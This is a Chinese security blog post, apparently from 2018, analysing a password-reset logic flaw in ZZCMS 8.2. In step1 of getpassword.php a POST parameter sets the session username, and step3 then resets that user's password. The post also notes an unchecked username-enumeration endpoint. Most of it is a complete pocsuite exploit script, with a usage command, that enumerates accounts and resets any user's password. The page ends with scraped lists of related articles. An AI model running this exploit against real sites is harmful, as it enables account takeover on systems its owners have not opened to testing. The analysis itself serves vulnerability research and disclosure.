前言

一个找回密码处的逻辑漏洞, 还是有点意思的。

正文

首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可

下面去 getpassword.php 里面看看, 首先包含了一些文件

conn.php 中,包含了 stopsqlin.php 会对参数进行过滤操作。

stopsqlin.php 中对参数的过滤

回到getpassword.php , 文件后面就开始进入 密码找回 功能的业务逻辑了。

找回密码功能分为3个部分

正常走一遍流程,期间用 burp 抓包



可以看到根据 action 来识别已经进行到了哪一步。以这个为线索去看代码,逻辑就非常清晰了。

我们直接来看看最后一步的代码

判断非常的简单, 只要

$action == "step3" && @$_SESSION['username'] != ''

接下来找 哪里修改了 $_SESSION['username'], 发现在 step1 的时候,用 POST 参数修改 $_SESSION['username']

于是利用思路

  • 首先进入 step1 , 设置 $_SESSION['username']为需要重置的用户名
  • 然后进入 step3 , 设置密码即可

同时该程序还有一个小问题,check_username_ajax.php  没有做 检查, 我们可以用它来枚举用户

pocsuite 写的 exp:

#!/usr/bin/python
# -*- coding: utf-8 -*- import string
import random
import time
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from pocsuite.lib.core.data import logger class HackZZcms(POCBase):
name = 'ZZcms ZZCMS8.2任意用户密码修改'
vulID = '1'
author = ['hac425']
vulType = 'remote-pass-change'
version = '1.0' # default version: 1.0
references = ['http://blog.hac425.top/2018/03/07/zzcms_8_2_rest_user_passwd.html']
desc = '''ZZcms ZZCMS8.2任意用户密码修改''' vulDate = '***'
createDate = '2018-03-07'
updateDate = '2018-03-07' appName = 'ZZcms'
appVersion = '8.2'
appPowerLink = 'http://www.zzcms.net/'
samples = [''] # 检查用户名是否存在
def _check_username(self, username):
target = self.url + "/ajax/check_username_ajax.php?id=" + username
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"} cont = req.get(target, headers=headers).content
if "用户名不存在" in cont:
return False
return True # 使得 SESSION 中存放好我们需要改密码的 用户名, 同时返回 PHPSESSID
def _get_session(self, url, username):
target = url + "/one/getpassword.php"
headers = {"Origin": url,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
data = {"username": username, "username2": "yes", "action": "step1",
"yzm": "22", "yzm2": "yes", "submit": "\xe4\xb8\x8b\xe4\xb8\x80\xe6\xad\xa5"} res = req.post(target, headers=headers, data=data)
return res.cookies.get("PHPSESSID") # 重置密码
def _reset_passwd(self, url, password, phpsession):
target = url + "/one/getpassword.php"
cookies = {"PHPSESSID": phpsession}
headers = {"Origin": url, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
data={"password": password, "password2": "yes", "action": "step3", "PwdConfirm": password, "PwdConfirm2": "yes", "submit": "\xe7\xa1\xae\xe5\xae\x9a"}
res = req.post(target, headers=headers, cookies=cookies, data=data)
# print res.content
return res.content def _attack(self):
"""attack mode"""
return self._verify() def _verify(self):
"""verify mode"""
# print self.params
result = {}
username = self.params['username']
password = self.params['password'] if self._check_username(username):
phpsession = self._get_session(self.url, username)
if "重置密码成功" in self._reset_passwd(self.url, password, phpsession):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
else:
logger.error("无该账号")
return self.parse_output(result) def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(result)
return output register(HackZZcms)

使用示例

pocsuite -r pocsuite_pocs/zzcms/zzcms_8_2_reset_any_user_passwd.py  -u http://hack.zzcms.top/ --extra-params "{'username': 'test', 'password':'xxxxdsg'}"

参考

http://getpass.cn/2018/03/06/zzcms-Any-user-password-changes-loopholes-code-points/

ZZCMS8.2 用户密码重置漏洞的更多相关文章

  1. Dbshop v1.3任意用户密码重置漏洞

    0x00 前言 年也过的差不多了,各自也都回到岗位忙碌起来了,新的一年祝大家诸事顺利,洞洞高危!好了进入正题 0x01 漏洞简介 本次主要写个简单的逻辑漏洞!然后抛个Message 内置高危. 1.找 ...

  2. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

  3. Metinfo 5.3.19管理员密码重置漏洞复现

     Metinfo 5.3.19管理员密码重置漏洞 操作系统:Windows 10专业版   kali linux  网站环境:UPUPW 5.3 使用工具:burpsuite 1.7 beta 漏洞分 ...

  4. Linux root用户密码重置,远程登陆,文件基本属性

    Linux root用户密码重置,远程登陆,文件基本属性 忘记Linux系统的root密码,linux系统忘记root密码的情况该怎么办呢?重新安装系统吗?当然不用!进入单用户模式更改一下root密码 ...

  5. 代码审计-DedeCMS-V5.7前台任意用户密码重置

    0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...

  6. 任意用户密码重置的十种姿势=====>学习笔记!

    原学习视频链接:https://www.butian.net/School/content?id=214%E2%80%98 1.验证码不失效 原因:获取的验证码缺少时间限制,仅判断验证码是否不正确而未 ...

  7. Django实现用户密码重置

    使用Django内置的认证视图实现简单的通过邮箱重置密码的功能版本:django 1.11 在django.contrib.auth.views中提供了四个类视图用于密码重置 class Passwo ...

  8. PHPCMS v9.6.0 任意用户密码重置

    参考来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0173130.html 他分析的好像不对.我用我的在分析一次. 先来看poc: /inde ...

  9. Metinfo 5.x 管理员密码重置漏洞

    前言 在先知看到了一篇分析该漏洞的文章,复现分析一下,漏洞还是比较有趣的. 正文 首先知道是 管理员密码重置时出现的问题,于是抓包,定位到相关的php文件. 首先包含了 ../include/comm ...

随机推荐

  1. POJ 1101

    #include <iostream> #include <string> #define MAXN 78 #define min _min #define inf 12345 ...

  2. word转html 压缩图片网站

    word转html https://docs.google.com/document/d/1MS-os1NcEPSEe2OWRenGR_6CsEmEQUchoQoh-abmL1Y/edit 压缩图片 ...

  3. CAS优缺点

    cas优点:如一描述在并发量不是很高时cas机制会提高效率.cas缺点:1.cpu开销大,在高并发下,许多线程,更新一变量,多次更新不成功,循环反复,给cpu带来大量压力.2.只是一个变量的原子性操作 ...

  4. Maven使用常用命令

    > mvn clean 删除target文件夹 > mvn clean test 编译测试代码,默认被放到target/test-classes文件夹下面 > mvn clean c ...

  5. python获取动态网站上面的动态加载的数据(selenium+Firefox)

    最近突然想到以前爬取百度学术上的参考文献,大家可以看一下以前我的写的博客:http://www.cnblogs.com/ybf-yyj/p/7351493.html,但是如果利用这个方法,太痛苦了,需 ...

  6. Vue中router两种传参方式

    Vue中router两种传参方式 1.Vue中router使用query传参 相关Html: <!DOCTYPE html> <html lang="en"> ...

  7. Sequel-Model

    Sequel::Model Mass Assignment 大多数的Model方法接受一个包含一系列key和value的哈希作为参数,这些方法包括:Model.new, Model.create, M ...

  8. Postman—使用数据文件

    前言 数据文件是非常强大的方式使用不同的测试数据来测试我们的API,以检查它们是否在各种情况下都能正常运行.我们可以认为数据文件是“Collection Runner”中每个请求的参数.下面,通过一个 ...

  9. 微信小程序开发,服务器端获取不到请求参数

    微信的request请求请求方式为 GET 时,可以在后台获取到请求的参数 userName 当为POST请求时则获取不到 userName 参数 解决方案是 在 设置一下 headers 里添加 ' ...

  10. IOS开发常见第三方总结

    链接](https://github.com/languages​​/Objective-C/most_watched) * [three20](https://github.com/facebook ...